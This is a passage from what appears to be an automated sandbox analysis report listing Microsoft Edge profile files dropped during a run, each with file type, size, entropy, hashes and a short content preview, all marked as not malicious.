Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6477519208431026
Encrypted:	false
SSDEEP:	384:aj9P0fgam6IoP/Kbtpjl2coQkQerMhj773pLLRKToaAu:adxYP/+l5oe2MF7NRKcC
MD5:	2D314AA6345676C5F3CD75C59BC7455B
SHA1:	3234C6DBEAD881682A4B42642B4CD12008EF8099
SHA-256:	FAD25C8517790E78970994F5E87A86362CFD368C67FB355946A80B4A76A9C120
SHA-512:	1FE2073421BD0B4400B841877048663354944B0FB25A3CFCE38FB8AA158799378A1CD6763952DC2FC0D739B4A6B14115D35F85237530AE43CF44CDF96D7FEEFB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.21530149101512
Encrypted:	false
SSDEEP:	12:7D+3+vVaYeb8rcHEZrELFUtR+AW/9vV5OaYeb8rcHEZrEZSJ:7nVaYeb8nZrExgkvOaYeb8nZrEZe
MD5:	243F616837D4500616399CE8A402BCBA
SHA1:	4BBCA6200B3ABF50DF5D6331678DCE5AC40982F6
SHA-256:	CBF3654C34CB22B769A36E5CE0D55010F2164678F40CD1252F39CB29D9795642
SHA-512:	5F8FE57B2E882BB1C4BE288E54B058E3591A182F19E48A7CF9F6D7903BA408E132F2E51544C9BE781380E804F9E90E68D5A7C1EFB38352CB3E99CCFC0D94B146
Malicious:	false
Preview:	2025/02/01-15:59:21.524 113c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2025/02/01-15:59:21.524 113c Recovering log #3.2025/02/01-15:59:21.525 113c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.21530149101512
Encrypted:	false
SSDEEP:	12:7D+3+vVaYeb8rcHEZrELFUtR+AW/9vV5OaYeb8rcHEZrEZSJ:7nVaYeb8nZrExgkvOaYeb8nZrEZe
MD5:	243F616837D4500616399CE8A402BCBA
SHA1:	4BBCA6200B3ABF50DF5D6331678DCE5AC40982F6
SHA-256:	CBF3654C34CB22B769A36E5CE0D55010F2164678F40CD1252F39CB29D9795642
SHA-512:	5F8FE57B2E882BB1C4BE288E54B058E3591A182F19E48A7CF9F6D7903BA408E132F2E51544C9BE781380E804F9E90E68D5A7C1EFB38352CB3E99CCFC0D94B146
Malicious:	false
Preview:	2025/02/01-15:59:21.524 113c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2025/02/01-15:59:21.524 113c Recovering log #3.2025/02/01-15:59:21.525 113c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1603
Entropy (8bit):	5.58612600861443
Encrypted:	false
SSDEEP:	48:7AZ0jWdAsvJurXZQWV03Sx49RHHS2/48ylsayG:7Ai4vJuTqMeTQ8osc
MD5:	6AB044BE6CA9DC0BA8B1ADCEA8730280
SHA1:	0E90321E792852089E50B287AEAB202959B6C5FD
SHA-256:	1B8E9EC73F28ED3791FAC0CA77EE40B7391ECD95AE92E93CD4C710997E92BC17
SHA-512:	5725E39D19798D1FD4803982B5D03E8B3805028CA6CBF988488E1AC8B4E776B24DB6A3E5AD770F4785077F42FBA0240D90933488E1CF12BA3C67AD984C7D5CE2
Malicious:	false
Preview:	.v.8<................VERSION.1..META:https://ntp.msn.com..............._https://ntp.msn.com..FallbackNavigationResult@.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":1002}.!_https://ntp.msn.com..LastKnownPV..1738443564642.-_https://ntp.msn.com..LastVisuallyReadyMarker..1738443565803.._https://ntp.msn.com..MUID!.2B3EBBCF6B2A66521035AE496A5867C7.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1738443564714,"schedule":[-1,18,14,40,-1,-1,-1],"scheduleFixed":[-1,18,14,40,-1,-1,-1],"simpleSchedule":[21,28,24,46,30,38,18]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1738443566552.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20250131.177"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_ht

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.17107138552619
Encrypted:	false
SSDEEP:	6:iOXpbCn34q2PN723oH+Tcwt8a2jMGIFUtFpbCXcdJZmw7pbC43DkwON723oH+TcL:7FVvVaYeb8EFUtbMQ/Rzz5OaYeb8bJ
MD5:	760444DB72AF00701A984999E24F1D2F
SHA1:	34AA047A8FD9555720A55756315D5D83D1BC7994
SHA-256:	1FE3D88AA8C6682129C026B46D5ADC15C48C9198A75E0A34669F8E3824746210
SHA-512:	1E6298A4EC6FEA9A83157F734A3661A62E070C6F0624588C76006282F7A1148BE4680F63BDCB876E0C91F81720B7E2E6252F72069F367A54560B4026C870A0B7
Malicious:	false
Preview:	2025/02/01-15:59:17.680 1980 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2025/02/01-15:59:17.683 1980 Recovering log #3.2025/02/01-15:59:17.687 1980 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.17107138552619
Encrypted:	false
SSDEEP:	6:iOXpbCn34q2PN723oH+Tcwt8a2jMGIFUtFpbCXcdJZmw7pbC43DkwON723oH+TcL:7FVvVaYeb8EFUtbMQ/Rzz5OaYeb8bJ
MD5:	760444DB72AF00701A984999E24F1D2F
SHA1:	34AA047A8FD9555720A55756315D5D83D1BC7994
SHA-256:	1FE3D88AA8C6682129C026B46D5ADC15C48C9198A75E0A34669F8E3824746210
SHA-512:	1E6298A4EC6FEA9A83157F734A3661A62E070C6F0624588C76006282F7A1148BE4680F63BDCB876E0C91F81720B7E2E6252F72069F367A54560B4026C870A0B7
Malicious:	false
Preview:	2025/02/01-15:59:17.680 1980 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2025/02/01-15:59:17.683 1980 Recovering log #3.2025/02/01-15:59:17.687 1980 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1a308fb6-0e9f-457b-918d-309affb333d1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\74ec316e-e733-42d8-90a2-a471ef1fed40.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\75d32cba-843e-4ede-be45-9bcc2446a20f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9d47947c-07ed-447c-82e9-678f47e970d7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.789341373174668
Encrypted:	false
SSDEEP:	192:tTlIaeoKBlYhHYBbZ7KhRKIkXcf0L/ZJVb:VltKBqhHiV2uIkXI0LhJVb
MD5:	1F8CFEF5B8A4FC24BB5AC5EC485751DE
SHA1:	1DD46B7D388EE3F6D7BDA092C9877A78FD4F7315
SHA-256:	985FADD376C80E77FA6175F7839038571067F6354F880AF128E77257A6C138EF
SHA-512:	FA2DBAC1A189F385E7E4CC8E4E121F08E46CC55A7D2805865F2594FF56B73699F2783598A1179A2FBD1A5AB8C246F233A67DEC67F3E82534FB7ED49BC6AF3A1E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2004
Entropy (8bit):	5.306720480785097
Encrypted:	false
SSDEEP:	48:YcCpfgCzsDtsdfcKsGyleeIkBRsG01CgHnsACgHFYhbj:F2fYSMkeIkBeTFTCh/
MD5:	F48D83A21F33F0FD093A082D14DEFE75
SHA1:	879AC9F9EE6AF2300FFD0CC29AE140579F57F7D9
SHA-256:	2F27D0168D1E1AC1FDF7A6D480DB1FF0E5B7F4FDE205B59EE8990770769AD987
SHA-512:	C51AD6981BEFB78F68F6ACACFEA4BE046D9C17FB4C496C6AB52805077F7B25AC7733BD3750035A62444225C0FC25CA82707B80EA8D5C8ACB6EDAAC1812281C7F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13385509159560243","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13385509162537669","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13383010764868047","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA="

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 9, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2797687729135807
Encrypted:	false
SSDEEP:	48:T2fIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB5d:ifIEumQv8m1ccnvS6tT+iij51a
MD5:	981D4DFE5D64CF3B029D000304483D18
SHA1:	D06AA75B77E73686D22665B098B4059D5DC0A5FC
SHA-256:	43894E3E82862DBF0B591720EB8C1E99DF22637CF68AEC329C639C73569083D2
SHA-512:	1DA44E8F48D3E77F10C826E1217F6D09235F27132427F8615C424AC4F8E1956F7E471450757637C7A05146E9C0143CE17AEEA5A2E32443D3B95F279FB91039BE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3a951.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3bad5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3c2c4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b0be587d-b6c1-4841-98c9-c515196e0dd8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e40ef767-dbdc-41cc-831a-f1870bc25ebd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2004
Entropy (8bit):	5.306720480785097
Encrypted:	false
SSDEEP:	48:YcCpfgCzsDtsdfcKsGyleeIkBRsG01CgHnsACgHFYhbj:F2fYSMkeIkBeTFTCh/
MD5:	F48D83A21F33F0FD093A082D14DEFE75
SHA1:	879AC9F9EE6AF2300FFD0CC29AE140579F57F7D9
SHA-256:	2F27D0168D1E1AC1FDF7A6D480DB1FF0E5B7F4FDE205B59EE8990770769AD987
SHA-512:	C51AD6981BEFB78F68F6ACACFEA4BE046D9C17FB4C496C6AB52805077F7B25AC7733BD3750035A62444225C0FC25CA82707B80EA8D5C8ACB6EDAAC1812281C7F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13385509159560243","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13385509162537669","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13383010764868047","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA="

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14075
Entropy (8bit):	5.293446297891119
Encrypted:	false
SSDEEP:	192:stpJ99QTryDigabatSuypmseMONaFvrEEPowkN1YAsn8/bV+FMAQwX3UdPrYJ:stpPGKSu4ms9SCDVPUjbGjQwUC
MD5:	186526D2DE665D080AFBA9ACEF49799D
SHA1:	EC94653B5B4F2E6910422CDEB84C85F8BE7BCA84
SHA-256:	14D982C3A44786938F984FACC3A11462398BECEEF74691AF6134EDB4BD3AA270
SHA-512:	7D173DA23C0411F33E9C4EFA0C74038D2036FF601C50DB27A7810144232D8A34B66D3858FE029BC172678220FE6D9E97035A7EA709551DD7827AC4BCF8E992EE
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13382917157897682","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF436fa.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14075
Entropy (8bit):	5.293446297891119
Encrypted:	false
SSDEEP:	192:stpJ99QTryDigabatSuypmseMONaFvrEEPowkN1YAsn8/bV+FMAQwX3UdPrYJ:stpPGKSu4ms9SCDVPUjbGjQwUC
MD5:	186526D2DE665D080AFBA9ACEF49799D
SHA1:	EC94653B5B4F2E6910422CDEB84C85F8BE7BCA84
SHA-256:	14D982C3A44786938F984FACC3A11462398BECEEF74691AF6134EDB4BD3AA270
SHA-512:	7D173DA23C0411F33E9C4EFA0C74038D2036FF601C50DB27A7810144232D8A34B66D3858FE029BC172678220FE6D9E97035A7EA709551DD7827AC4BCF8E992EE
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13382917157897682","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4ac4a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14075
Entropy (8bit):	5.293446297891119
Encrypted:	false
SSDEEP:	192:stpJ99QTryDigabatSuypmseMONaFvrEEPowkN1YAsn8/bV+FMAQwX3UdPrYJ:stpPGKSu4ms9SCDVPUjbGjQwUC
MD5:	186526D2DE665D080AFBA9ACEF49799D
SHA1:	EC94653B5B4F2E6910422CDEB84C85F8BE7BCA84
SHA-256:	14D982C3A44786938F984FACC3A11462398BECEEF74691AF6134EDB4BD3AA270
SHA-512:	7D173DA23C0411F33E9C4EFA0C74038D2036FF601C50DB27A7810144232D8A34B66D3858FE029BC172678220FE6D9E97035A7EA709551DD7827AC4BCF8E992EE
Malicious:	false
